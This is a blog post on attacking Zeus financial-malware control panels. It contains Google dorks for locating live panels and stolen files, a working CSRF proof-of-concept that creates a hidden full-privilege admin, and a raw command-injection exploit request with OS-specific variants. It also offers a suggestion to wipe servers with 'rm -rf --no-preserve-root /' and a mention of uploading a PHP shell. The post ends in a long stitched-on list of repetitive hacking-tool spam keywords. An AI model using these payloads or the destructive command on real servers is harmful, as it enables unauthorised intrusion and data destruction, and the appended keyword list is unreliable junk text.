Thursday, January 18, 2024

Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html> 
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1 
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)

Related word


  1. Nsa Hack Tools Download
  2. Easy Hack Tools
  3. Hacking Apps
  4. Pentest Tools Online
  5. Hacking Tools Hardware
  6. Pentest Tools
  7. How To Make Hacking Tools
  8. How To Make Hacking Tools
  9. Tools Used For Hacking
  10. Hack Tools Pc
  11. How To Hack
  12. Pentest Tools
  13. Hack App
  14. Hacking Tools For Windows 7
  15. Hacking Tools
  16. Hacker Tools Linux
  17. Hacking Tools Free Download
  18. Pentest Tools Github
  19. Pentest Tools For Mac
  20. Ethical Hacker Tools
  21. Pentest Tools Tcp Port Scanner
  22. Hack Tools For Mac
  23. How To Make Hacking Tools
  24. Pentest Tools Free
  25. Hacker Tools Apk Download
  26. Hacking Tools Windows
  27. World No 1 Hacker Software
  28. Pentest Tools Nmap
  29. Free Pentest Tools For Windows
  30. New Hacker Tools
  31. Wifi Hacker Tools For Windows
  32. Pentest Tools Open Source
  33. World No 1 Hacker Software
  34. Hacker Tools
  35. Hacks And Tools
  36. Pentest Tools
  37. Hack Rom Tools
  38. Hack Apps
  39. Pentest Tools
  40. Pentest Tools Nmap
  41. Github Hacking Tools
  42. Growth Hacker Tools
  43. Hackers Toolbox
  44. Hacking Tools For Beginners
  45. Hack Tools For Windows
  46. Hacker Tools Hardware
  47. Top Pentest Tools
  48. Hacking Tools Usb
  49. Free Pentest Tools For Windows
  50. Hacker Tools Software
  51. Blackhat Hacker Tools
  52. Pentest Tools Apk
  53. Hack Tools Pc
  54. New Hacker Tools
  55. Hacker Tools Github
  56. Hacks And Tools
  57. Growth Hacker Tools
  58. Pentest Tools Website
  59. Usb Pentest Tools
  60. Hack Tool Apk
  61. Hacking Tools Software
  62. Pentest Tools For Windows
  63. Hacking App
  64. Pentest Tools Windows
  65. Hacking Tools Mac
  66. What Are Hacking Tools
  67. Nsa Hack Tools
  68. Hacking Tools For Windows 7
  69. Hacker Tools 2019
  70. Hacker Tools Windows
  71. Tools Used For Hacking
  72. Hacking Tools For Kali Linux
  73. New Hacker Tools
  74. Hacking Tools Windows 10
  75. Hack And Tools
  76. Hacker Tools For Mac
  77. Pentest Box Tools Download
  78. Install Pentest Tools Ubuntu
  79. Pentest Tools Online
  80. Nsa Hack Tools
  81. Pentest Tools Find Subdomains
  82. Pentest Tools For Mac
  83. Best Hacking Tools 2020
  84. Hacker Tools Linux
  85. Pentest Recon Tools
  86. Hacking Tools Download
  87. Bluetooth Hacking Tools Kali
  88. Hak5 Tools
  89. Hack Tools Pc
  90. New Hack Tools
  91. Hacking Tools For Mac
  92. Hacking Tools Usb
  93. Nsa Hack Tools
  94. Hacker Tools For Pc
  95. Hacks And Tools
  96. Pentest Tools Website Vulnerability
  97. Pentest Tools For Mac
  98. Best Hacking Tools 2020
  99. Pentest Tools Tcp Port Scanner
  100. Hack Apps
  101. Hackers Toolbox
  102. Hack Tools For Windows
  103. Hacking Tools For Pc
  104. Pentest Tools Framework
  105. Install Pentest Tools Ubuntu
  106. Pentest Tools Alternative
  107. Hacking Tools For Games
  108. Hacking Tools 2019
  109. Tools For Hacker
  110. Hacker Tools 2019
  111. Hacking Tools Name
  112. Hacking Tools Usb
  113. Hacking Tools For Pc
  114. Pentest Recon Tools
  115. Hack Tools For Windows
  116. Hack Tools For Ubuntu
  117. Hacking Tools For Mac
  118. Pentest Tools Find Subdomains
  119. Hacker Tools Linux
  120. Hacking Tools And Software
  121. Pentest Tools Find Subdomains
  122. Pentest Tools Tcp Port Scanner
  123. Hacker Tools For Mac
  124. New Hack Tools
  125. Game Hacking
  126. How To Hack
  127. Pentest Tools Online
  128. Pentest Tools Tcp Port Scanner
  129. Nsa Hack Tools
  130. Pentest Tools Tcp Port Scanner
  131. Hacking Tools For Windows
  132. Top Pentest Tools
  133. Hacks And Tools
  134. Hacker Tools Free Download
  135. Pentest Tools Port Scanner
  136. Hacker Tools Online
  137. Hacker Search Tools
  138. Pentest Tools Review
  139. Hacking Tools Hardware
  140. Hacker Tools Apk
  141. Hacking Tools Windows 10
  142. Hack App
  143. Pentest Tools Nmap
  144. Pentest Tools Open Source
  145. Hack Tools Download
  146. Hacker Hardware Tools
  147. Hack Apps
  148. Nsa Hack Tools
  149. Hacking Tools Github
  150. Hacker Tools List
  151. Hacking Tools For Mac
  152. Hacker Tools Free
  153. Hacking Tools For Kali Linux
  154. Wifi Hacker Tools For Windows
  155. Pentest Tools Url Fuzzer
  156. Underground Hacker Sites
  157. Hack Rom Tools
  158. Hacking Tools Name
  159. Hack Tools For Mac
  160. Easy Hack Tools
  161. Pentest Tools Apk
  162. Hacking Tools Github
  163. Pentest Tools Download
  164. Hacking Tools Usb
  165. Free Pentest Tools For Windows
  166. Hack Tools For Mac
  167. Hack Tools For Pc
  168. Pentest Tools For Mac
  169. Hacking Tools Pc
  170. World No 1 Hacker Software
  171. Pentest Tools Nmap
  172. Hacking Tools 2020

No comments: